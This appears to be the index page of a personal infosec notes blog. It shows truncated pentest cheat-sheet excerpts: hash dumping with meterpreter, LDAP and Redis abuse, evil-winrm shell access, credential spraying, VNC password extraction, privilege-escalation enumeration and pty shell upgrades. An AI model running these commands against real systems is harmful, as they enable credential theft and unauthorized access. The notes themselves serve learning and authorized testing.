akde/infosec

Information security is ultimately about managing risk


  • Win­dows clients use SAM files. Win­dows DC uses ntds.dit to store all hash­es from the domain. SAM C:\windows\repair\sam C:\windows\System32\config\SAM C:\windows\System32\config\RegBack\SAM Alter­na­tives in meterpreter: run post/windows/gather/hashdump run post/windows/gather/smart_hashdump run hashdump hashdump (load module before: use priv) creds_all If hash­dump does­n’t work: Notes Format Username : UID : LM hash : NTLM hash : : : For hash­cat,…


  • It is pos­si­ble to write as a user arbi­trary text into the logs. Mes­sages can be faked which could alert persons/surveillance systems. https://turbochaos.blogspot.com/2014/08/journalctl-terminal-escape-injection.html?view=classic


  • Ports: ldap 389/tcp ldaps 636/tcp globalldap/globalcatldap 3268/tcp globalldaps/globalcatldapssl 3269/tcp Enumerate without credentials Nmap enu­mer­a­tion scans nmap -n -sV --script "ldap* and not brute" $target Ldapsearch scan ldapsearch -x -h $target -D '' -w '' -b "DC=BLA,DC=local" Con­nect to LDAPs/GlobalLDAPs: openssl s_client -connect $target:636 </dev/null openssl s_client -connect $target:3269 </dev/null Search in the directory: ldapsearch -x -b…


  • Cre­ate a session tmux new -s <name>


  • Pow­er­shell Cmdlets con­sist out of Verb-Method. To search for a method, type Get-Command New-U* To see all attrib­ut­es for a Cmdlet, type Get-LocalUser | Get-Member To see spe­cif­ic or non-default attrib­ut­es, type Get-LocalUser | Select-Object -Property Name,PasswordRequired Examples Directories and files Get all files in the cur­rent directory. Get-ChildItem Get all files in the cur­rent direc­to­ry and below.…


  • Win­dows Remote Man­age­ment (Win­RM / wsman) is a ser­vice which runs on port 5985 and 5986. Evil Winrm Github | Opens a shell for a user root@kali:~# evil-winrm -i $victim -u melanie -p 'Welcome123!' For many users: for cred in $(cat user_pass.txt); do username=$(echo $cred | cut -d ',' -f 1) password=$(echo $cred | cut -d ',' -f…


  • Basics Authen­ti­ca­tion sequence for an user to log in on a domain (con­troller): Authen­ti­ca­tion sequence for an authen­ti­cat­ed user on a local system: Terminology Ker­beroast­ing means an offline crack­ing of the pass­word in the NTLM hash. Use­less if the ser­vice runs as ser­vice user. Then, the pass­word will be replaced by a 128 char­ac­ter long…


  • Runs on port 6379 — needs a full nmap scan! If conec­tion is pos­si­ble via tel­net, use­ful com­mands are:  info CONFIG GET * all keys: keys * It is pos­si­ble to deter­mine which direc­to­ries exist:  config set dir /var/www/htdocs -ERR Changing directory: No such file or directory set dir /var/www +OK set dir /var/www/html +OK Upload SSH key via redis…


  • Con­vert a Python2 script into a Python3 script: 2to3 -w example.py Fix tab/space/identation problems: autopep8 -i linuxprivchecker.py If a library is installed, but can­not found from smb.SMBConnection import SMBConnection then try to search the file local­ly and include the path manually: import syssys.path.append("path/to/your/file") One­lin­er for exe­cut­ing bash in a file: echo 'import os;os.system("/bin/bash")' > /tmp/e.py Exe­cute something:…


  • Con­nect from the com­mand line mongo 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace' Show data­bas­es show dbs Switch to database use <db> Show all col­lec­tions (“tables”) show collections Show all entries from a collection db.<collection>.find() Add a document db.products.insert( { item: "card", qty: 15 } ) Injections Show all records of the cur­rent table, assum­ing there is a WHERE clause for one field.…


  • Auf dem Client: root@raspberrypi:/etc/apt# cat apt.conf Acquire::http::Proxy "http://10.10.14.38:3128"; Auf dem Proxy:


  • Cross-compiling for 32/64 bit systems sudo apt-get install gcc-multlib gcc ‑m32 datei.c Tipp: Add ‑sta­t­ic for a sta­t­ic binary. Note that you need to install pack­ets for the tar­get plat­form, e.g. apt install gcc-i686-linux-gnu. Cross-compiling for Windows Install the pack­ages like apt install gcc-mingw-w64. Then use x86_64-w64-mingw32-gcc execute.c -o execute.exe. Disable security features You can…


  • Brute force is pos­si­ble with nmap: # nmap --script vnc-brute -p 5900 localhost For TightVNC, use vncp­wd to break pass­words. A pass­word can be obtained via reg query HKLM\Software\TightVNC\Server\ /v Password


  • 1. Manual enumeration id pwd uname -a // are there kernel exploits? cat /etc/hosts cat /etc/passwd ls -lah /etc/passwd cat /etc/group cat /etc/fstab cat /etc/crontab df cd /home && ls ... // or execute ls -lahR /home/ cd /root && ls ... netstat -antup ps aux sudo -l su // if passwords are already known…


  • Mit distc­cd kann man ent­fer­nt compilieren.


  • Tools to detect nmap ‑O nmap-chronos Tools to detect and validate p0f JS to list brows­er char­ac­ter­is­tics which could send back to an attack­er via an AJAX request: /itsec/wp-content/uploads/2021/05/browser_detection.html Tools to impersonate Against browser/JS-based fin­ger­print­ing: Just tam­per with val­ues from the brows­er in about:config.


  • Enumeration Mandatory Optional On Windows


  • After­wards: See Ana­lyz­ing memory Linux Prozess memory dump Find out which mem­o­ry seg­ments are used by an appli­ca­tion via its PID: cat /proc/<pid>/maps Dump the used mem­o­ry from an appli­ca­tion: (cred­it) #!/bin/bash grep rw-p /proc/$1/maps \ | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \ | while read start stop; do \ gdb --batch --pid $1 -ex \…


  • https://github.com/Tib3rius/AutoRecon Mul­ti recon tool for broad scanning


About

Personal collection of some infosec stuff. Primary purpose of this site is to collect and organize for myself.

Note: Some content is not publicly visible due to copyright issues. Therefore, some links could be broken.

Checklists

Categories

Checklists: Ports

python -c 'import pty;pty.spawn("/bin/bash")';

python3 -c 'import pty;pty.spawn("/bin/bash")';